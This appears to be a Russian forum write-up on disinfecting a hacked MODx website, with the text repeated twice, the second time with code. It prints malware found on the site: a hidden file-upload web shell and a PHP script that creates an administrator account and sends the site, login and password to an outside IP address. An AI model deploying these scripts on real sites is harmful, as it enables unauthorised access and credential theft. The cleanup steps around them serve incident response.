Всем добрый вечер!
В предыдущей статье я попытался описать общие шаги при заражении сайта. В комментариях пообещал рассмотреть какой-либо конкретный случай. И вот, он мне представился. Конечно, жаль, что это не всеми так любимый Wordpress, но данный вид заражения там я тоже встречал, а процесс лечения в общих чертах совпадает. Приступим.
Заходим на хостинг, всюду видим страшные предупреждения:
Подключимся через ssh и будем смотреть.
Сразу нас встречает множество файлов stylewpp.php:
Вообще их было около 4000, это я уже успел поудалять =)
По своему опыту знаю, что эти файлы создаются через планировщик, поэтому идем туда через панель. Если нет доступа к панели управления, то используем команду:
Видим задание на ежеминутное копирование stylewpp с нашего же сайта:
Содержимое файла:
Код обфусцирован и довольно сильно, с первого раза не расшифровать, но по созданным stylewpp и анализу последствий - делаем вывод, что наш сайт (да и сервер), используется в целях майнинга.
Посмотрим содержимое корневой директории:
По структуре похоже, что сайт скорее всего на MODx, также невооруженным глазом видим и множество того, что скорее всего к нему не относится.
Рассмотрим содержимое некоторых:
- форма, позволяющая грузить все, что душе угодно;
- это интереснее, с помощью данного скрипта можно создать своего пользователя.
В остальном - всякое по мелочи, от загрузчиков, до скриптов для рассылки спама.
Будем чистить и вариантов у нас несколько:
1.) Убирать все вручную или какими-нибудь автоматизированными средствами (про них напишу отдельно в следующий раз);
2.) Что-то убрать руками, ядро заменить оригинальными файлами CMS;
В данном случае я выбираю 2-й вариант, так как, это минимизирует шанс на то, что что-то останется после лечения. Почему? Из опыта и вида заражения. Как минимум, присутствуют файлы с нулевыми правами, названием, начинающимся с точки. Автоматизированные средства такое не увидят, из корневой директории удалим, но может быть зарыто и глубже. Можно искать такие файлы через ssh (первая команда ищет файлы с нулевыми правами, вторая скрытые файлы):
Но зачем, если можно поступить гораздо проще?
Прежде всего нужно узнать версию MODx. Для этого пробуем пробиться в админку, временно (или навсегда =) меняя пароль какого-либо юзера с правами админа на свой:
Я это делал через mysql, более подробно написано на сайте MODx
Имеем MODX Revolution 2.4.3-pl, смотрим на официальный сайт MODx в разделе "
Сайт сильно запустили. О необходимости обновления нужно обязательно написать в отчете (и в случае повторного заражения уже будет виноват сам клиент, так как неактуальная версия CMS, тем более на столько - является основанием для снятии с гарантии).
Забираем "Traditional"-версию с полным пакетом для установки. Версия "Advanced" служит для обновления и не совсем подходит для полного восстановления ядра:
Удаляем задание на создание stylewpp из cron, используем команду для редактирования файла заданий:
или удаляем из планировщика все:
Теперь удаляем все созданные планировщиком stylewpp (любым способом, через ssh, ftp или панель управления).
Обязательно делаем бекап!
Подключаемся через FTP, и убираем из корневой директории все, кроме пользовательских папок. Далее (действует только для MODx):
1.) Закидываем папки core, manager, connectors, setup и файлы index.php, ht.access из скачанного оригинального архива MODx;
2.) Закидываем config.inc.php в core/config/;
3.) Берем из нашего бекапа папку core/components/ и закидываем обратно на сайт;
4.) Берем из бекапа все архивы с пакетами из папки core/packages/, закидываем на сервер;
5.) Переходим по адресу: http://нашсайт.ру/setup. Выбираем "Обновление существующей установки" и ждем;
6.) Если все ок, то получаем сообщение о успешном завершении обновления;
7.) Желательно зайти в панели администрирования в менеджер пакетов и переустановить каждый из них;
8.) В панели очищаем кэш и выполняем перегенерацию URL через меню "Управление".
Готово, ядро полностью восстановлено, сайт работает (если это не так - смотрим error_log, гуглим ошибки, исправляем), осталось совсем немного, а именно - осмотреть пользовательские папки и папки с дополнениями на наличие вредоносных файлов. В данном случае это можно сделать вручную, их не так много.
После:
1.) Смена паролей всех пользователей;
2.) Смена пароля БД;
3.) В корневой и папке core переименовываем ht.access на .htaccess;
4.) Устанавливаем причину заражения. Несложно догадаться, что скорее всего проэксплуатировали устаревший MODx, который содержит кучу CVE. Ну например вот эту
5.) Делаем резервную копию очищенных файлов (на тот случай, если поломают до того, как клиент успеет обновить CMS);
6.) Запускаем антивирус на хостинге (если таковой имеется) для того, чтобы хостер мог снять санкции или пишем письмо в тех.поддержку с просьбой об этом;
7.) Пишем отчет клиенту || если делаем для себя - обязательно обновляемся.
To be continued.
В предыдущей статье я попытался описать общие шаги при заражении сайта. В комментариях пообещал рассмотреть какой-либо конкретный случай. И вот, он мне представился. Конечно, жаль, что это не всеми так любимый Wordpress, но данный вид заражения там я тоже встречал, а процесс лечения в общих чертах совпадает. Приступим.
Заходим на хостинг, всюду видим страшные предупреждения:
Подключимся через ssh и будем смотреть.
Сразу нас встречает множество файлов stylewpp.php:
Вообще их было около 4000, это я уже успел поудалять =)
По своему опыту знаю, что эти файлы создаются через планировщик, поэтому идем туда через панель. Если нет доступа к панели управления, то используем команду:
crontab -l
Видим задание на ежеминутное копирование stylewpp с нашего же сайта:
Содержимое файла:
Код обфусцирован и довольно сильно, с первого раза не расшифровать, но по созданным stylewpp и анализу последствий - делаем вывод, что наш сайт (да и сервер), используется в целях майнинга.
Посмотрим содержимое корневой директории:
По структуре похоже, что сайт скорее всего на MODx, также невооруженным глазом видим и множество того, что скорее всего к нему не относится.
Рассмотрим содержимое некоторых:
PHP:
hahahahhahahahah<?php if($_GET["login"]=="canshu"){if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>GOOD</b><br>'; } echo '<form action="" method="post" enctype="multipart/form-data"><input type="file" name="file" size="50"><input type="submit" value="submit"/></form>';} ?>
- форма, позволяющая грузить все, что душе угодно;
PHP:
<?php
$username = "xdom"; //логин
$password = ""; //пароль
$email = "blablablu@gmail.com"; //почта
$act = 0; //0 - создание пользователя, 1 - разблокировка пользователя
function generateRandomString($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
function gen_salt()
{
$chars = str_shuffle("qazxswedcvfrtgbnhyujmkiolp1234567890QAZXSWEDCVFRTGBNHYUJMKIOLP");
$max = 35;
$size = strlen($chars) - 1;
$str1 = null;
while($max--) { $str1 .= $chars[mt_rand(0, $size)]; }
return md5($str1);
}
function hash_pbkdf2($algo, $password, $salt, $count, $length = 0, $raw_output = false)
{
if (!in_array(strtolower($algo), hash_algos())) trigger_error(__FUNCTION__ . '(): Unknown hashing algorithm: ' . $algo, E_USER_WARNING);
if (!is_numeric($count)) trigger_error(__FUNCTION__ . '(): expects parameter 4 to be long, ' . gettype($count) . ' given', E_USER_WARNING);
if (!is_numeric($length)) trigger_error(__FUNCTION__ . '(): expects parameter 5 to be long, ' . gettype($length) . ' given', E_USER_WARNING);
if ($count <= 0) trigger_error(__FUNCTION__ . '(): Iterations must be a positive integer: ' . $count, E_USER_WARNING);
if ($length < 0) trigger_error(__FUNCTION__ . '(): Length must be greater than or equal to 0: ' . $length, E_USER_WARNING);
$output = '';
$block_count = $length ? ceil($length / strlen(hash($algo, '', $raw_output))) : 1;
for ($i = 1; $i <= $block_count; $i++)
{
$last = $xorsum = hash_hmac($algo, $salt . pack('N', $i), $password, true);
for ($j = 1; $j < $count; $j++)
{
$xorsum ^= ($last = hash_hmac($algo, $last, $password, true));
}
$output .= $xorsum;
}
if (!$raw_output) $output = bin2hex($output);
return $length ? substr($output, 0, $length) : $output;
}
function hash_pass($password, $salt)
{
return base64_encode(hash_pbkdf2("sha256", $password, $salt, 1000, 32, TRUE));
}
if (file_exists("core/config/config.inc.php"))
{
require_once("core/config/config.inc.php");
$mysqli = new mysqli($database_server, $database_user, $database_password, $dbase);
if ($mysqli->connect_errno)
{
die("Error connect MySQL: (".$mysqli -> connect_errno.")".$mysqli -> connect_error.")");
}
else
{
if ($act == 0)
{
$password = generateRandomString();
$password_salt = gen_salt();
$password_full = hash_pass($password, $password_salt);
$check_user_query = $mysqli->query("SELECT id FROM ".$table_prefix."users WHERE username = '{$username}'");
$check_user = $check_user_query->num_rows;
if ($check_user == 0)
{
$mysqli->query("INSERT INTO ".$table_prefix."users (username, password, cachepwd, class_key, active, hash_class, salt, session_stale) VALUES ('{$username}', '{$password_full}', '', 'modUser', 1, 'hashing.modPBKDF2', '{$password_salt}', NULL)");
$user_id = $mysqli->insert_id;
if ($user_id > 0)
{
$mysqli->query("INSERT INTO ".$table_prefix."user_attributes (internalKey, fullname, email, phone, mobilephone, blocked, blockeduntil, blockedafter, logincount, lastlogin, thislogin, failedlogincount, sessionid, dob, gender, address, country, city, state, zip, fax, photo, comment, website, extended) VALUES ('{$user_id}', '', '{$email}', '', '', 0, 0, 0, 0, 0, 0, 0, '', 0, 0, '', '', '', '', '', '', '', '', '', NULL)");
$mysqli->query("INSERT INTO ".$table_prefix."member_groups (user_group, member, role, rank) VALUES (1, '$user_id', 2, 0)");
echo "User - '<font color=\"red\">{$username}</font>' password - '<font color=\"red\">{$password}</font>' add in DB '<font color=\"red\">{$dbase}</font>'!";
$check_user_query = $mysqli->query("SELECT id FROM ".$table_prefix."users WHERE username = '{$username}'");
$check_user = $check_user_query->num_rows;
$user_id = $check_user_query->fetch_array();
if ($check_user > 0)
{
$mysqli->query("UPDATE ".$table_prefix."user_attributes SET blocked = '0', blockeduntil = '0', blockedafter = '0' WHERE internalKey='".$user_id['id']."'");
file_get_contents("http://134.249.116.78/check-update/check.php?p3=".$_SERVER['HTTP_HOST']."/manager/index.php@".$username."@".$password);
echo "User '<font color=\"red\">{$username}</font>' unblock!";
}
}
else
{
die("Error add user '".$table_prefix."users'!");
}
}
else
{
die("User '<font color=\"red\">{$username}</font>' exists in DB!");
}
}
}
}
else
{
die("Config not exists!");
}
?>
- это интереснее, с помощью данного скрипта можно создать своего пользователя.
В остальном - всякое по мелочи, от загрузчиков, до скриптов для рассылки спама.
Будем чистить и вариантов у нас несколько:
1.) Убирать все вручную или какими-нибудь автоматизированными средствами (про них напишу отдельно в следующий раз);
2.) Что-то убрать руками, ядро заменить оригинальными файлами CMS;
В данном случае я выбираю 2-й вариант, так как, это минимизирует шанс на то, что что-то останется после лечения. Почему? Из опыта и вида заражения. Как минимум, присутствуют файлы с нулевыми правами, названием, начинающимся с точки. Автоматизированные средства такое не увидят, из корневой директории удалим, но может быть зарыто и глубже. Можно искать такие файлы через ssh (первая команда ищет файлы с нулевыми правами, вторая скрытые файлы):
find ./ -perm 000
find ./ -type f -name ".*"
Но зачем, если можно поступить гораздо проще?
Прежде всего нужно узнать версию MODx. Для этого пробуем пробиться в админку, временно (или навсегда =) меняя пароль какого-либо юзера с правами админа на свой:
Код:
UPDATE modx_users SET hash_class = 'hashing.modMD5', password = MD5('the-new-password') WHERE username = 'theusername';
Я это делал через mysql, более подробно написано на сайте MODx
Ссылка скрыта от гостей
. Есть и другие способы узнать версию MODx, например через phpmyadmin, но в данном случае мне удобнее так.Имеем MODX Revolution 2.4.3-pl, смотрим на официальный сайт MODx в разделе "
Ссылка скрыта от гостей
": Released Feb 11, 2016 with 33,603 downloadsСайт сильно запустили. О необходимости обновления нужно обязательно написать в отчете (и в случае повторного заражения уже будет виноват сам клиент, так как неактуальная версия CMS, тем более на столько - является основанием для снятии с гарантии).
Забираем "Traditional"-версию с полным пакетом для установки. Версия "Advanced" служит для обновления и не совсем подходит для полного восстановления ядра:
Удаляем задание на создание stylewpp из cron, используем команду для редактирования файла заданий:
crontab -e
или удаляем из планировщика все:
crontab -r
Теперь удаляем все созданные планировщиком stylewpp (любым способом, через ssh, ftp или панель управления).
Обязательно делаем бекап!
Подключаемся через FTP, и убираем из корневой директории все, кроме пользовательских папок. Далее (действует только для MODx):
1.) Закидываем папки core, manager, connectors, setup и файлы index.php, ht.access из скачанного оригинального архива MODx;
2.) Закидываем config.inc.php в core/config/;
3.) Берем из нашего бекапа папку core/components/ и закидываем обратно на сайт;
4.) Берем из бекапа все архивы с пакетами из папки core/packages/, закидываем на сервер;
5.) Переходим по адресу: http://нашсайт.ру/setup. Выбираем "Обновление существующей установки" и ждем;
6.) Если все ок, то получаем сообщение о успешном завершении обновления;
7.) Желательно зайти в панели администрирования в менеджер пакетов и переустановить каждый из них;
8.) В панели очищаем кэш и выполняем перегенерацию URL через меню "Управление".
Готово, ядро полностью восстановлено, сайт работает (если это не так - смотрим error_log, гуглим ошибки, исправляем), осталось совсем немного, а именно - осмотреть пользовательские папки и папки с дополнениями на наличие вредоносных файлов. В данном случае это можно сделать вручную, их не так много.
После:
1.) Смена паролей всех пользователей;
2.) Смена пароля БД;
3.) В корневой и папке core переименовываем ht.access на .htaccess;
4.) Устанавливаем причину заражения. Несложно догадаться, что скорее всего проэксплуатировали устаревший MODx, который содержит кучу CVE. Ну например вот эту
Ссылка скрыта от гостей
. Но произошло это уже давно, поэтому определить 100% не получится, так как логи, увы, так долго не хранятся;5.) Делаем резервную копию очищенных файлов (на тот случай, если поломают до того, как клиент успеет обновить CMS);
6.) Запускаем антивирус на хостинге (если таковой имеется) для того, чтобы хостер мог снять санкции или пишем письмо в тех.поддержку с просьбой об этом;
7.) Пишем отчет клиенту || если делаем для себя - обязательно обновляемся.
To be continued.